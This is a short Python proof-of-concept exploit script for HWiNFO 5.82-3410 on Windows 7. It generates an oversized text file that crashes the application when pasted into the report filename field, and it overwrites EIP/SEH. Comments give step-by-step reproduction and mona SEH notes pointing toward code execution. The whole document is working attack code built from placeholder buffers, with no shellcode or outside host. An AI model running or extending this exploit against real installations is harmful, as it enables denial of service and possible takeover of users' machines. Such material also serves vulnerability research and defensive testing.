#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: HWiNFO 5.82-3410 - Denial of Service # Date: 05-04-18 # Vulnerable Software: HWiNFO 5.82-3410 # Vendor Homepage: https://www.hwinfo.com/ # Version: 5.82-3410 # Software Link: https://www.hwinfo.com/files/hwi_582.exe # Tested On: Windows 7 x86 # # PoC: # 1. generate hwinfo.txt, copy contents to clipboard # 2. open app, select Report, Create # 3. choose Export format XML # 4. paste hwinfo.txt contents into filename field # 5. select Next, Next # # app crashes & EIP overwrite; # !mona seh > only ppr, non-safeseh module contains startnull # 0x00400000 | 0x00d8b000 | 0x0098b000 | 5.82-3410 [HWiNFO32.EXE] (C:\Program Files\HWiNFO32\HWiNFO32.EXE) # filename="hwinfo.txt" #offset 530 junk = "A"*526 seh = "B"*4 nseh = "C"*4 fill = "D"*9465 buffer = junk + seh + nseh + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close()